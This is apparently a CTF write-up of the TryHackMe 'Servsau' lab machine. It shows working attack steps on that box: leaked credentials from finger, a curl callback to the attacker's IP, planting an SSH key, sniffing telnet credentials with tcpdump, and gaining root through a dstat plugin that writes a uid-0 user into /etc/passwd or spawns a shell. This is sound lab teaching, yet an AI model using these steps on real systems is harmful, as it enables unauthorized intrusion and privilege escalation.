Servsau

This is the writeup of the Servsau machine in tryhackme. I hardly post any writeups but I have learnt something interesting in this machine so wanted to share with you all. In this write I will also share how I think and approach to solve the box.

Hope you will learn something new from this writeup as well.

Enumeration

Lets start our enumeration with basic nmap scan.

$ nmap 10.10.32.20 -vv # 10.10.32.20 is the ip of machine

PORT   STATE  SERVICE REASON
21/tcp closed ftp     conn-refused
22/tcp open   ssh     syn-ack
79/tcp open   finger  syn-ack
80/tcp open   http    syn-ack

On basic scan we got some interesting ports i.e 79 and 80.

Let's run the nmap full port scan on background and further enumerate port 79 and 80.

$ namp -p- 10.10.32.20 -vv

Port 80

Lets start with port 80 as we all are more familiar with this port. On first visit there is nothing much on website, just a static page with "If you want the food, sit at the table." − Kiran Ghimire and some Username and passwords (nothing useful)

Lets do enumerate directories in web.

$ dirsearch -u http://10.10.32.20


  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10877

Output File: /home/parallels/.dirsearch/reports/10.10.32.20/_22-02-07_19-30-10.txt

Error Log: /home/parallels/.dirsearch/logs/errors-22-02-07_19-30-10.log

Target: http://10.10.32.20/

[19:30:10] Starting: 
[19:30:14] 403 -  276B  - /.ht_wsr.txt                                                                                                             
[19:30:14] 403 -  276B  - /.htaccess.bak1
[19:30:14] 403 -  276B  - /.htaccess.orig
[19:30:14] 403 -  276B  - /.htaccess.save
[19:30:14] 403 -  276B  - /.htaccess.sample
[19:30:14] 403 -  276B  - /.htaccess_sc
[19:30:14] 403 -  276B  - /.htaccess_extra
[19:30:14] 403 -  276B  - /.htaccess_orig
[19:30:14] 403 -  276B  - /.htaccessBAK
[19:30:14] 403 -  276B  - /.htaccessOLD2
[19:30:14] 403 -  276B  - /.htaccessOLD
[19:30:15] 403 -  276B  - /.html           
[19:30:15] 403 -  276B  - /.htm
[19:30:15] 403 -  276B  - /.htpasswd_test
[19:30:15] 403 -  276B  - /.htpasswds
[19:30:15] 403 -  276B  - /.httr-oauth
[19:30:48] 200 -    2KB - /index.html                                                                                         
[19:30:50] 301 -  308B  - /log  ->  http://10.10.32.20/log/                                                                      
[19:30:50] 200 -  931B  - /log/                             
[19:31:00] 403 -  276B  - /server-status                                                                            
[19:31:00] 403 -  276B  - /server-status/

We found an interesting directory /log/. Upon visiting the /log/ directory there is a file name auth.log

Seeing the content of auth.log . It looks like a auth log file of ubuntu. From this log file we can enumerate the username of the machine.

$ cat auth.log| grep password | awk '{print $9}' | sort -u
baeker
bekcha
invalid
mantaboy
petrio

We got the possible username for the machine. There is nothing more left to do in web as there is just a static html page and a log file.

Port 79

Doing some googling on port 79, I found that it can be used to further enumerate the username. If you ever see some strange port just visit Hacktricks and search for that port. Finger on Hacktrick

Now we have possible list of username from auth.log lets use that in port 79.

$ for i in $(cat user.txt); do echo "$i" | nc 10.10.32.20 79 ;done
Login: baeker                           Name: 
Directory: /home/baeker                 Shell: /bin/sh
Never logged in.
No mail.
No Plan.
Login: bekcha                           Name: 
Directory: /home/bekcha                 Shell: /bin/sh
Never logged in.
No mail.
Plan:
No plan
finger: invalid: no such user.
Login: mantaboy                         Name: 
Directory: /home/mantaboy               Shell: /bin/sh
Never logged in.
No mail.
Project:
Hy, did you find anything?
Plan:
He was planning to hack Petrio's computer. Petrio is a very sophisticated hacker, he changed his computer username to petriod  and password to h@ack3dP3tri0.

Login: petrio                           Name: 
Directory: /home/petrio                 Shell: /bin/sh
Last login Fri Feb  4 16:13 (UTC) on tty4
No mail.
Plan:
We have to make it soon.

There is some interesting notes on user mantaboy. We found the possible username and password for the machine. petriod:h@ack3dP3tri0 or petrio:h@ack3dP3tri0

I tried to login to the ssh using the credential but it failed and looks like we can only login to machine using sshkey only.

$ ssh petrio@10.10.32.20       
The authenticity of host '10.10.32.20 (10.10.32.20)' can't be established.
ECDSA key fingerprint is SHA256:wh0pQAHWIHWib+NK4iV7n/9RzdXC41Ts/af9E8DilXg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.32.20' (ECDSA) to the list of known hosts.
petrio@10.10.32.20: Permission denied (publickey).

As we need public key to login to ssh the password is useless here.

Now lets return to out nmap full port scan because eveything seems like a deadend here.

On nmap full port scan we got a new open port 20011 Lets vist this port now.

Getting Shell

After connecting to port 20011 it is asking for the username and password. Luckily the username and passwort that we got from finger worked here.

$ nc 10.10.32.20 20011 
__        __   _                            _____       __  __         ____                           
\ \      / /__| | ___ ___  _ __ ___   ___  |_   _|__   |  \/  |_   _  / ___|  ___ _ ____   _____ _ __ 
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \   | |/ _ \  | |\/| | | | | \___ \ / _ \ '__\ \ / / _ \ '__|
  \ V  V /  __/ | (_| (_) | | | | | |  __/   | | (_) | | |  | | |_| |  ___) |  __/ |   \ V /  __/ |   
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|   |_|\___/  |_|  |_|\__, | |____/ \___|_|    \_/ \___|_|   
                                                               |___/                                  


Username: petrio
Pass: h@ack3dP3tri0
Command: 

It is asking for command so I am assuming it will run some bash command. I tried id as command but nothing happened it just closed without displaying anything.

At this point I was confused either it run bash command or something else. To confirm it run bash. I opened a http web server in my machine and sent a curl req from command.

$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

$ nc 10.10.32.20 20011 
__        __   _                            _____       __  __         ____                           
\ \      / /__| | ___ ___  _ __ ___   ___  |_   _|__   |  \/  |_   _  / ___|  ___ _ ____   _____ _ __ 
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \   | |/ _ \  | |\/| | | | | \___ \ / _ \ '__\ \ / / _ \ '__|
  \ V  V /  __/ | (_| (_) | | | | | |  __/   | | (_) | | |  | | |_| |  ___) |  __/ |   \ V /  __/ |   
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|   |_|\___/  |_|  |_|\__, | |____/ \___|_|    \_/ \___|_|   
                                                               |___/                                  


Username: petrio
Pass: h@ack3dP3tri0
Command: curl 10.6.87.171 # 10.6.87.171 is my Ip

As soon as I send the curl request I got hit in my webserver.

10.10.32.20 - - [07/Feb/2022 19:49:52] "GET / HTTP/1.1" 200 -

Now that its confirment it runs bash, lets drop our sshkey in machine. For that I generate ssh key in my machine

$ ssh-keygen                                                                                           
                                                                         1 ⨯
Generating public/private rsa key pair.
sEnter file in which to save the key (/home/parallels/.ssh/id_rsa): servsau
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in servsau
Your public key has been saved in servsau.pub
The key fingerprint is:
SHA256:A2FlA25ppu4XFSAs+qnX+6Vt+m4TDJrOIRwQFnOnV0g parallels@kali-linux-2021-3
The key's randomart image is:
+---[RSA 3072]----+
|.=.ooE*=+        |
|o + +=.+..       |
| o o .B  .       |
|. . .=...        |
| o o.o +S        |
|  =.+ . o.       |
| . =.. ...       |
|. ..+ .++        |
| .  o++*+.       |
+----[SHA256]-----+

It cretes two file servsau and servsau.pub Now lets drop out public key in the remote machine.

$ nc 10.10.32.20 20011
__        __   _                            _____       __  __         ____                           
\ \      / /__| | ___ ___  _ __ ___   ___  |_   _|__   |  \/  |_   _  / ___|  ___ _ ____   _____ _ __ 
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \   | |/ _ \  | |\/| | | | | \___ \ / _ \ '__\ \ / / _ \ '__|
  \ V  V /  __/ | (_| (_) | | | | | |  __/   | | (_) | | |  | | |_| |  ___) |  __/ |   \ V /  __/ |   
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|   |_|\___/  |_|  |_|\__, | |____/ \___|_|    \_/ \___|_|   
                                                               |___/                                  


Username: petrio
Pass: h@ack3dP3tri0
Command: bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1zFwkxeeCj3w1p3E4SXhFYL4dwo92fpcuDAPXZQxLNfSRI7waXuuP3sA8OXwzA+jV79JT/8HVVti3rU1zoq147tKmT9OUAywt2Q4dSZt9PNdSkDb+7uRkbV4g1WNUOHNP/plK7zeCPBld/EHRQUKWhnm227sC+zj5cSK3CZVly/CfnOjyifEn+G9xRk5mX0XugqBfhz4lTDtI0m2WBmYycSwcUyab1LLVyOo0baJtAlClmDHR2peb2cpK9uHEDVQ5NJl7cP8HE94YiH5vMayfpjb29ilbmP5yvcGlx6uAMmP8aZqKDPngWuV6P6r75jZRsgabt29AjTqrETchzsC48oXu+1EPQB/1ABQ/nhfVm7MiZvTdLA5V/Prg1NB5k6ST6M1iLoKBGUkaAGMP7wel1ybovXcJ5ZTnuqVs+iPCgHSrH+6dokQk/gLmTlk1s92I3N6b+vXm46rvezFd56/+sG7xZcQSSPfIg7ZRLSAHqWKLWzqROxYj/w3q34lNqEs= parallels@kali-linux-2021-3" > /home/petrio/.ssh/authorized_keys

Now that we have dropped out public key lets login to machine.

$ ssh -i sservsau petrio@10.10.32.20    

Now we got access as petrio on the machine

Horizontal Privilege Escalation

Now that we got access as petrio in machine lets try privilege escalation. The first thing I like to try as soon as I got shell is sudo -l

$ sudo -l
Matching Defaults entries for petrio on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User petrio may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /opt/request.sh

We can run /opt/request.sh with sudo without entering the password. Lets see what that program do.

$ cat /opt/request.sh
cat: /opt/request.sh: Permission denied

Looks like we cant read the file content. Lets try to run this.

$ sudo /opt/request.sh 
connecting to telnet....
trying to login'....
passed username
passed password
Connection closed by foreign host.
Executed...

Looks like it is trying to connect to telnet and doing something. If we cound just see those network traffic then we can see the username and password what it is using as telnet uses plain text authentication.

In linux there is a binary called tcpdump which will do exactly the thing that we wanted but we need sudo permission to run and we cant run tcpdump as sudo.

But lets check if it might be marked as suid binary

$ ls -la `which tcpdump`
-rwxr-x--- 1 petrio capcap 1031784 Jan 24  2020 /usr/sbin/tcpdump

It was not market as suid either.

Let's check if there is any special capabilities for tcpdump.

$ getcap -r `which tcpdump`
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

It has cap_net_admin . So we can run it without root as well.

So lets run tcpdump in one screen and in another screen lets run the /opt/request.sh.

I like to analyisis network traffic using wireshark so I will save the output or tcpdump into out.pcap.

$ tcpdump -i lo -w out.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

Once we run the request.sh , move that out.pcap to you machine and analysis using wireshark.

From that pcap file we got another credentials. servsau:s33rVSS@U

Vertical Privilege Escalation

Now that we got credentials for another user lets login as servsau.

petrio@servsau:~$ su servsau
Password: 
servsau@servsau:/home/petrio$ 

After logging in I started enumerating and when I was checking the local binaries installed by the user i.e in /usr/local/bin I have found doas binary. If you dont know about doas then it allows you to run files being other users (as mentiond in the config file)

Lets check the config of doas

$ cat /usr/local/etc/doas.conf
permit nopass setenv { HOME=/tmp/home } servsau as root cmd /usr/bin/dstat

From the config we get that servsau user can run /usr/bin/dstat as root.

From the man page of dstat , We can see that its just a simple binary to display the stat of the machine. But we can use customized plugins written in python and use it (we can use this feature to exploit this).

But to run the plugins in dstat we have to place the python files in

~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/

except the user home directory non of the locations are writeable so we cannot add our custom plugin in those locations.

But out user servsau doesn't have home directory

$ cat /etc/passwd | grep servsau
servsau:x:1003:1003:::/bin/bash

If we see the config file of doas again it set HOME to /tmp/home/. As /tmp is writable to all users we can create home/.dstat there and put our payload there.

But there is a cron job that will delete home from /tmp every 30 seconds so we have to be quick on this.

Now that we have everything lets see the skeleton code of plugin of dstat. Here is the helloworld plugin of dstat.

$ cat /usr/share/dstat/dstat_helloworld.py
### Author: Dag Wieers <dag$wieers,com>

class dstat_plugin(dstat):
    """
    Example "Hello world!" output plugin for aspiring Dstat developers.
    """

    def __init__(self):
        self.name = 'plugin title'
        self.nick = ('counter',)
        self.vars = ('text',)
        self.type = 's'
        self.width = 12
        self.scale = 0

    def extract(self):
        self.val['text'] = 'Hello world!'

# vim:ts=4:sw=4:et

How I approached

I just overcomplicated the thing while solving for the first time but learnt 1 important thing so I wanted to share how I approaced this at first. Then later on I will show how you can do this easily as well.

In dstat we can write the output of the program by using -output flag. So we can write anything as root. So I thought of writing my ssh key to /root/.ssh/authorized_keys and tried but it doesn't work as there was no .ssh folder in /root/ directory.

Next I think of writing to /etc/sudoers and give myself root permision but this also doesnt work. Because the output of the dstat has something like this in header and these lines broke the /etc/sudoers

"Dstat 0.7.2 CSV output"
"Author:","Dag Wieers <dag@wieers.com>",,,,"URL:","http://dag.wieers.com/home-made/dstat/"
"Host:","servsau",,,,"User:","servsau"
"Cmdline:","dstat --output test",,,,"Date:","08 Feb 2022 05:03:16 UTC"

I was so frustrated at this moment and started tried to write every locations in linux filesystem which will upgrade my permissions. And it turned out those junks from the output of dstat won't break the /etc/passwd. So we can make new users with root permissions without any issues.

Here is what I did to create new user.

$ openssl passwd password
ICs0rmhf9Wuqw

Created a password for new user and edited the helloworld plugin like this.

class dstat_plugin(dstat):
    """
    Example "Hello world!" output plugin for aspiring Dstat developers.
    """

    def __init__(self):
        self.name = 'plugin title'
        self.nick = ('counter',)
        self.vars = ('text',)
        self.type = 's'
        self.width = 12
        self.scale = 0

    def extract(self):
        self.val['text'] = 'newroot:ICs0rmhf9Wuqw:0:0:root:/root:/bin/bash'

# vim:ts=4:sw=4:et

Now it will write newroot:ICs0rmhf9Wuqw:0:0:root:/root:/bin/bash to /etc/passwd and create new user name newroot with password password

I saved the file as dstat_exploit.py in /tmp and used the following command

$ cd /tmp && mkdir home && mkdir home/.dstat && cp dstat_exploit.py home/.dstat/ && doas /usr/bin/dstat --exploit --output /etc/passwd

plugin-title
  counter   
newroot:ICs0rmhf9Wuqw:0:0:root:/root:/bin/bash

After that I closed the program and checked /etc/passwd

$ cat /etc/passwd                        
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
petrio:x:1001:1001::/home/petrio:
mantaboy:x:1002:1002::/home/mantaboy:
servsau:x:1003:1003:::/bin/bash
baeker:x:1004:1004::/home/baeker:
bekcha:x:1005:1005::/home/bekcha:
telnetd:x:112:118::/nonexistent:/bin/false


"Host:","servsau",,,,"User:","root"
"Cmdline:","dstat --exploit --output /etc/passwd",,,,"Date:","08 Feb 2022 05:11:57 UTC"

"plugin title"
"counter"
newroot:ICs0rmhf9Wuqw:0:0:root:/root:/bin/bash

As you can see at the last line new user was created now we just have to do su newroot and get root.

$ su newroot
Password: password
root@servsau:/tmp# 

Easy way

I approached the box as mentioned above but later on realized that there is easy way to solve the box. Insted of creating the plugin and thinking of storing the output you can create a dstat_exploit.py in /tmp/ with following content

import pty
pty.spawn('/bin/bash')

And then run the same command that I used before.

servsau@servsau:/tmp$ cd /tmp && mkdir home && mkdir home/.dstat && cp dstat_ok.py home/.dstat/ && doas /usr/bin/dstat --ok
root@servsau:/tmp# 

And that's everything for this writeup. Hope you have learnt something from this . If you have any doubts you can send me a message at my twitter handler